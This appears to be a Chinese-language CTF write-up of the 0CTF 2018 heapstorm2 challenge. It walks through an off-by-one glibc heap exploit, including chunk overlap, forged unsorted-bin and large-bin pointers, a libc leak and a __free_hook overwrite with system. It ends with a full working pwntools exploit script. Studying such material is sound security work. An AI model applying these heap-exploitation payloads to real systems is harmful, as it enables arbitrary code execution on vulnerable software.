0ctf2018_heapstorm2_reproduce

这篇文章详细介绍了ctf2018 Heapstorm2挑战中的heap溢出漏洞利用过程,涉及off-by-one攻击、chunk overlap利用、large_bin和unsorted_bin的伪造,最终实现内存控制并获取shell。作者通过实例演示了如何构造payload,以及mallopt函数和/dev/urandom在攻破中的作用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0ctf2018_heapstorm2_reproduce

概述

打了好久,学到很多

保护全开,libc-2.24

漏洞点在 off-by-one,打法是利用 off-by-one 缩小 chunk 进行 unlink 然后就可以实现类似 uafoverlap,是 unlink 的一部分,又是还能用的这种 overlap

有了 overlap 就能实现 house of storm,也就是同时伪造 large_binbk_nextsizebkunsorted_binbk,实现可写内存的任意申请

过程

overlap chunk

先利用 off-by-one 实现缩小 chunk,再 unlink 然后就可以实现类似 uafoverlap

要进行两次,一次为了 large_bin 的伪造,一次为了 unsorted_bin 的伪造

第一次 overlap chunk

先进行布局

create(0x18)# 0
create(0x508)# 1
create(0x18)# 2

create(0x18)# 3
create(0x508)# 4
create(0x18)# 5

create(0x18)# 防止 5 进 top

然后伪造 prve_size,伪造 size

edit(1,0x4f0*b'a'+p64(0x500))# 伪造 prve_size 为 0x500
delete(1)# 被覆盖的 prev_size 恢复
edit(0,(0x18-12)*b'a')# off-by-one 伪造 size 为 0x500

请添加图片描述

创建一个 0x20 的块,再创建一个 0x4d8 块为后面 overlap 改写其他块内容做准备

# 2 overlap 7,通过 7 能改 2
create(0x18)# 1
create(0x4d8)# 7 uaf overlap

然后进行 unlink,unlink 前要 free 一下 chunk1

delete(1)# 使 prev_size 为 0x20,不然报 corrupted size vs. prev_size
delete(2)# unlink

请添加图片描述

这时候就可以 overlap

create(0x38)# 1
create(0x4e0)# 2 0x4f0 unsorted

可以看到,用 7 可以控制 2,我们后面把 2 放进 unsorted,然后就可以用 7 去改写内容了

pwndbg> x/200xg 0x558c3e47b020
0x558c3e47b020: 0x49495f4d524f5453      0x0000000000000041 <---1
0x558c3e47b030: 0x0000000000000000      0x0000000000000000
0x558c3e47b040: 0x0000000000000000      0x0000000000000000 <---7
0x558c3e47b050: 0x0000000000000000      0x0000000000000000
0x558c3e47b060: 0x0000000000000000      0x00000000000004f1 <---2

改了了 unsorted 还需要改写 large

重复一遍上面过程就行,不过 large_bin 应该要 小于 unsorted_bin,这样方便实现漏洞利用

# ? overlap 8,通过 8 能改 free块
edit(4,0x4f0*b'a'+p64(0x500))
delete(4)# 被覆盖的 prev_size 恢复
edit(3,(0x18-12)*b'a')

create(0x18)# 4
create(0x4d8)# 8 uaf overlap

delete(4)
delete(5)# unlink

create(0x48)# 4
# 0x4e0 large

放入 large_bin 和 unsorted_bin

这时候就会有一个 0x4e0 的 chunk 在 unsorted 里面,我们要让 0x4f0 的进 unsorted,让0x4e0的进 large

# 放入 large_bin 和 unsorted_bin
delete(2)
create(0x4e0)# 2
delete(2)

第一次 delete(2)

请添加图片描述

可以看到两个 chunk 都进了 unsorted

create(0x4e0) 后,因为 unsortedFIFO 的规则,会先遍历 0x4e0 的块,发现不是精确大小,就放入了 large_bin,而之后遍历 0x4f0 的块,发现符合条件,就直接返回给用户了,然后我们再 delete(2)0x4f0 的块就进了 unsorted 了,我们的目的就实现了

请添加图片描述

伪造 unsorted 和 large

利用我们之前的 7 和 8 去 overlap 就可以了

# 开始伪造
evil = 0x13370800-0x10
unsorted = p64(0)*2 + p64(0) + p64(0x4f1) + p64(0) + p64(evil) + p64(0) + p64(0)
edit(7,unsorted) # unsorted 伪造 bk

large = p64(0)*4 + p64(0) + p64(0x4e1) + p64(0) + p64(evil+0x8) + p64(0) + p64(evil-0x20+8-5)
edit(8,large) # large 伪造 bk_nextsize bk

这样就可以在 evil 处开出堆块,然后控制指针,就为所欲为了

其他部分

后面就是绕一些题目设置的随机数还有条件之类的,就是 hijack_free_hooksystem,然后getshell,看看代码就懂了

# 0x133707f0
try:
    create(0x48)  # 2 unsorted 往 fd 中写入了 libc,large 往 bk 写 victim堆地址,同时伪造了 size
    payload = flat(
        0, 0,
        0, 0x13377331,  # 绕过 show 的判断
        0x13370800, 0x70,
    )
    edit(2, payload)
    show(0)

    # leak_libc
    p.recvuntil(']: ')
    p.recvuntil('HEAPSTORM_II')
    libc.address = ((u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))) ^ 0x13370800) - 0x3c4b78
    log.success('libc.address: ' + hex(libc.address))

    system_addr = libc.sym['system']
    free_hook = libc.sym['__free_hook']
    log.success('free_hook: ' + hex(free_hook))

    payload = flat(
        0, 0,
        0, 0x13377331,  # 绕过 show 的判断
        0x13370800, 0x50,
        free_hook, 0x8,
        '/bin/sh\x00', 0x8,
        0x13370840, 0x8
    )
    edit(0, payload)

    edit(1, p64(system_addr))

    delete(3)
except EOFError:
    p.close()
    continue
else:
    p.interactive()
    break

知识

mallopt 函数

int mallopt(int param,int value)

param 取值为 M_MXFAST

M_MXFAST:定义使用fastbins的内存请求大小的上限

value:就是设置的大小

题目的 mallopt(1, 0) 就是直接禁用 fastbin

/dev/urandom

可以产生更好的随机数

关于程序 crash

题目中有一句

mmap((void *)0x13370000, 0x1000uLL, 3, 34, -1, 0LL) != (void *)0x13370000

也就是说,这题我们最后 create 的地方是 mmap 管理的,所以mmap的标志位要过检查,这题 size 只能是 \x56 而不能是 \x55,随机化关了才能打

exp

#! /usr/bin/env python3
from pwn import *

arch = 64
challenge = './heapstorm22'

context.os='linux'
context.log_level = 'debug'
if arch==64:
    context.arch='amd64'
if arch==32:
    context.arch='i386'
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(challenge)
libc = ELF('libc.so.6')

local = 1
if local:
    p = process(challenge)
else:
    p = remote('chuj.top', '53178')

def debug():
    gdb.attach(p)
    pause()

bps = []
pie = 1
def gdba():
    if local == 0:
        return 0
    cmd ='set follow-fork-mode parent\n'
    #cmd=''
    if pie:
        base = int(os.popen("pmap {}|awk '{{print $1}}'".format(p.pid)).readlines()[1],16)
        cmd += ''.join(['b *{:#x}\n'.format(b+base) for b in bps])
        cmd += 'set $base={:#x}\n'.format(base)
    else:
        cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])

    gdb.attach(p,cmd)

def eat():
    p.recvuntil('mand: ')

def create(size):
    eat()
    p.sendline('1')
    p.recvuntil('Size: ')
    p.sendline(str(size))

def edit(index, content):
    eat()
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(index))
    p.recvuntil('Size: ')
    p.sendline(str(len(content)))
    p.recvuntil('Content:')
    p.send(content)

def delete(index):
    eat()
    p.sendline('3')
    p.recvuntil('Index: ')
    p.sendline(str(index))

def show(index):
    eat()
    p.sendline('4')
    p.recvuntil('Index: ')
    p.sendline(str(index))

while True:
    arch = 64
    challenge = './heapstorm22'

    context.os = 'linux'
    context.log_level = 'debug'
    if arch == 64:
        context.arch = 'amd64'
    if arch == 32:
        context.arch = 'i386'
    context.terminal = ['tmux', 'splitw', '-h']
    elf = ELF(challenge)
    libc = ELF('libc.so.6')

    local = 1
    if local:
        p = process(challenge)
    else:
        p = remote('chuj.top', '53178')

    create(0x18)# 0
    create(0x508)# 1
    create(0x18)# 2

    create(0x18)# 3
    create(0x508)# 4
    create(0x18)# 5

    create(0x18)# 6 防止 5 进 top

    edit(1,0x4f0*b'a'+p64(0x500))# 伪造 prve_size 为 0x500
    delete(1)# 被覆盖的 prev_size 恢复
    edit(0,(0x18-12)*b'a')# off-by-one 伪造 size 为 0x500

    # 2 overlap 7,通过 7 能改 2
    create(0x18)# 1
    create(0x4d8)# 7 uaf overlap

    delete(1)# 使 prev_size 为 0x20,不然报 corrupted size vs. prev_size
    delete(2)# unlink

    create(0x38)# 1
    create(0x4e0)# 2 0x4f0 unsorted

    # ? overlap 8,通过 8 能改 free块
    edit(4,0x4f0*b'a'+p64(0x500))
    delete(4)# 被覆盖的 prev_size 恢复
    edit(3,(0x18-12)*b'a')

    create(0x18)# 4
    create(0x4d8)# 8 uaf overlap

    delete(4)
    delete(5)# unlink

    create(0x48)# 4
    # 0x4e0 large

    # 放入 large_bin 和 unsorted_bin
    delete(2)
    create(0x4e0)# 2
    delete(2)
    debug()

    # 开始伪造
    evil = 0x13370800-0x10
    unsorted = p64(0)*2 + p64(0) + p64(0x4f1) + p64(0) + p64(evil) + p64(0) + p64(0)
    edit(7,unsorted) # unsorted 伪造 bk

    large = p64(0)*4 + p64(0) + p64(0x4e1) + p64(0) + p64(evil+0x8) + p64(0) + p64(evil-0x20+8-5)
    edit(8,large) # large 伪造 bk_nextsize bk

    # 0x133707f0
    try:
        create(0x48)  # 2 unsorted 往 fd 中写入了 libc,large 往 bk 写 victim堆地址,同时伪造了 size
        payload = flat(
            0, 0,
            0, 0x13377331,  # 绕过 show 的判断
            0x13370800, 0x70,
        )
        edit(2, payload)
        show(0)

        # leak_libc
        p.recvuntil(']: ')
        p.recvuntil('HEAPSTORM_II')
        libc.address = ((u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))) ^ 0x13370800) - 0x3c4b78
        log.success('libc.address: ' + hex(libc.address))

        system_addr = libc.sym['system']
        free_hook = libc.sym['__free_hook']
        log.success('free_hook: ' + hex(free_hook))

        payload = flat(
            0, 0,
            0, 0x13377331,  # 绕过 show 的判断
            0x13370800, 0x50,
            free_hook, 0x8,
            '/bin/sh\x00', 0x8,
            0x13370840, 0x8
        )
        edit(0, payload)

        edit(1, p64(system_addr))

        delete(3)
    except EOFError:
        p.close()
        continue
    else:
        p.interactive()
        break

请添加图片描述

相关链接

https://eternalsakura13.com/2018/04/03/heapstorm

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值